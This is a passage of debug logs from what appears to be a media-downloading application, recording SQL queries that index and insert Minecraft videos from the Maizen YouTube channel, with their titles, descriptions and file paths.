to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-20 03:00:06Z]] 18:35:25.784 [debug] QUERY OK source="sources" db=0.2ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.786 [debug] QUERY OK source="media_items" db=1.2ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-13 03:00:06Z], 2] 18:35:25.787 [debug] QUERY OK source="media_items" db=0.6ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "f38b3c44-1141-4774-a94e-cf5ddf9957cb", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", 8, "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-13 03:00:06Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's STRICTEST TEST: The Movie", "3RR5Sbesx6s", 5542, false, "https://www.youtube.com/watch?v=3RR5Sbesx6s", "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", false, 2, ~U[2026-06-13 03:00:06Z]] 18:35:25.787 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.788 [debug] QUERY OK source="media_items" db=1.2ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-06 03:00:06Z], 2] 18:35:25.789 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "b877f04c-ef76-4e5e-8789-5bfbeea1da11", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", 9, "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-06 03:00:06Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, Mikey's been sent to prison for a crime he didn't commit! Even worse, he's been sentenced to Infinity Prison, the highest security, most inescapable prison in the world! Now it's up to JJ to help get Mikey out, and clear his name! But not everything is at it seems here...\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "THE WORLD's HIGHEST SECURITY PRISON: The Movie", "9ZPbk2Unu8A", 5036, false, "https://www.youtube.com/watch?v=9ZPbk2Unu8A", "/downloads/shows/Maizen/Season 2026/s2026e060600 - THE WORLD's HIGHEST SECURITY PRISON: The Movie.mp4", false, 2, ~U[2026-06-06 03:00:06Z]] 18:35:25.790 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.791 [debug] QUERY OK source="media_items" db=1.1ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 07:16:54Z], 2] 18:35:25.792 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "5f7a234f-a03b-4a90-91c9-00ef14ebc280", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", 10, "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, false, false, 2, [], 98, ~U[2026-06-01 07:16:54Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, we've arrived in our new village! However, not everything is at it seems here. Every night, someone is killed, yikes! We have to find the culprit and put a stop to them!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft, But One Person Dies Every Day...", "RxEEQdWqH10", 3796, false, "https://www.youtube.com/watch?v=RxEEQdWqH10", "/downloads/shows/Maizen/Season 2026/s2026e060100 - Minecraft, But One Person Dies Every Day....mp4", false, 2, ~U[2026-06-01 07:16:54Z]] 18:35:25.792 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.794 [debug] QUERY OK source="media_items" db=1.1ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 07:42:34Z], 2] 18:35:25.795 [debug] QUERY OK source="media_items" db=0.6ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "96272b80-b93a-497e-a385-184c95b28b0f", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", 11, "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, false, false, 2, [], 98, ~U[2026-05-29 07:42:34Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, we're playing PVP Roulette Hide and Seek! We'll take turns rolling the roulette machine, and using the awesome items we get to hide in this huge mansion! Who do you think is gonna win today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "The Roulette of OP ITEM in Hide and Seek!", "n5lwtRSwTqY", 857, false, "https://www.youtube.com/watch?v=n5lwtRSwTqY", "/downloads/shows/Maizen/Season 2026/s2026e052900 - The Roulette of OP ITEM in Hide and Seek!.mp4", false, 2, ~U[2026-05-29 07:42:34Z]] 18:35:25.795 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.796 [debug] QUERY OK source="media_items" db=1.3ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-26 05:54:04Z], 2] 18:35:25.797 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "9f069339-ea60-48b6-9ab8-13947ec20136", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", 12, "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-26 05:54:04Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, 2, ~U[2026-05-26 05:54:04Z]] 18:35:25.798 [debug] QUERY OK source="sources" db=0.2ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.799 [debug] QUERY OK source="media_items" db=1.4ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 01:41:39Z], 2] 18:35:25.800 [debug] QUERY OK source="media_items" db=0.6ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "5d980ee5-ed43-4e47-9dcc-7442346e653d", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", 13, "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-23 01:41:39Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-23 01:41:39Z]] 18:35:25.801 [debug] QUERY OK source="sources" db=0.2ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.802 [debug] QUERY OK source="media_items" db=1.3ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 07:13:54Z], 2] 18:35:25.803 [debug] QUERY OK source="media_items" db=0.5ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "02458a73-e8f1-4baf-90f3-2b3e13dd50ba", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", 14, "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-22 07:13:54Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, 2, ~U[2026-05-22 07:13:54Z]] 18:35:25.804 [debug] QUERY OK source="sources" db=0.2ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.805 [debug] QUERY OK source="media_items" db=1.2ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 03:07:57Z], 2] 18:35:25.806 [debug] QUERY OK source="media_items" db=0.6ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "c443760f-d7cf-4929-98a1-946f507a9e92", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", 15, "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, false, false, 2, [], 98, ~U[2026-05-17 03:07:57Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, 2, ~U[2026-05-17 03:07:57Z]] 18:35:25.806 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.808 [debug] QUERY OK source="media_items" db=1.2ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 03:25:23Z], 2] 18:35:25.809 [debug] QUERY OK source="media_items" db=0.6ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "b771b4c4-6677-4c57-a311-6fcd77a87d0e", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", 16, "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, false, false, 2, [], 98, ~U[2026-05-16 03:25:23Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, 2, ~U[2026-05-16 03:25:23Z]] 18:35:25.809 [debug] QUERY OK source="sources" db=0.3ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.811 [debug] QUERY OK source="media_items" db=1.2ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 03:45:03Z], 2] 18:35:25.812 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "d241aaf4-3f25-436f-96d3-162cd07e687c", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", 17, "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-13 03:45:03Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-13 03:45:03Z]] 18:35:25.812 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", 